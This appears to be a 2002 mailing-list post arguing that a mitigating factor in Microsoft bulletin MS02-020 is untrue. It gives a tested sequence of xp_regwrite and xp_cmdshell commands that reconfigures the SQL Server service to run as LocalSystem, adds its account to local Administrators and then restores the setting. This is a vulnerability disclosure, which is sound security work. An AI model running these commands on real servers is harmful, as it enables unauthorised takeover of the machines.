> SQL Extended Procedure Functions Contain Unchecked Buffers (Q319507) [ . . .] > SQL Server service to fail, or to cause code to run in the security > context in which SQL Server is running. SQL Server can be > configured to run in various security contexts, and by default > runs as a domain user. The precise privileges the attacker could > gain would depend on the specific security context that the > service runs in. [ . . . ] > Mitigating Factors: > ==================== > - The effect of exploiting the vulnerability would depend on the > specific configuration of the SQL Server service. SQL Server can > be configured to run in a security context chosen by the > administrator. By default, this context is as a domain user. > If the rule of least privilege has been followed, it would > minimize the amount of damage an attacker could achieve. above is UNTRUE. SQL Server 2000 _can_ run under non-administrator account, however it requires full access to registry key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSSQLServer as explicitly stated in "Setting Up a Secure SQL Server 2000 Installation" http://www.microsoft.com/technet/prodtechnol/sql/maintain/security/sql2ksec.asp Having this access level, SQL server process is able to modify "ObjectName" value in the registry. This is enough to re-configure service to run as LocalSystem. Hence, attacker able to run code under SQL Server account is able to re-configure service to run under highest possible local privileges, even is SQL Server is running as regular user. For this reason, securing SQL server by means of using least privileged account for the service is simply ineffective - opposite to what Microsoft says in above referenced article, and in MS02-020. This is result of required by SQL Server access level to registry key where service configuration is kept. SQL server also delivers stored procedure for this type of operation: xp_regwrite (undocumented) so this can be verified without writing shellcode: xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer', 'ObjectName', REG_SZ,'LocalSystem' xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver' After changing registry and restarting service - voile! Instead of being poor user, you have local root! Of course, you may use this privilege for one thing only - put user account used by SQL Server before to local Administrators group, and restore previous value. There is undocumented xp_regread extended stored procedure, which can be used to read account name, before changing it to LocalSystem. [re-establish connection] xp_cmdshell 'whoami' xp_cmdshell 'net localgroup administrators DOMAIN\someacocunt /add' xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\MSSQLServer', 'ObjectName', REG_SZ,'DOMAIN\someacocunt' xp_cmdshell 'net stop mssqlserver /y & net start mssqlserver' [re-establish connection] xp_cmdshell 'whoami' ... and you have old configuration back, with one difference: now you own the machine! Everyone may try above, it has been tested and will run if you have 'sa' level, or you may code this in C (use Open Data Services) and put in own extended stored procedure (or shellcode ? :>> ) to run under SQL service account. You will gain local Administrator, no matter what local restrictions was put on SQL Server account. I want to point that this is _not_ problem of poor administration: administrator of this machine have done everything to secure his/her server, except removing undocumented Microsoft extended stored procedures. Of course, sane administrator will not allow untrusted users to run any code on SQL server as 'sa', but this is not the point. My point is to explain why one of mitigating factors put in MS02-020 is UNTRUE. Attacker able to run code in SQL Server process, or as 'sa' will own the machine. Opposite to what Microsoft says: you may _not_ relay on local restrictions effective on SQL service account as a security measure! B.
This archive was generated by hypermail 2b30 : Thu Apr 18 2002 - 17:46:53 PDT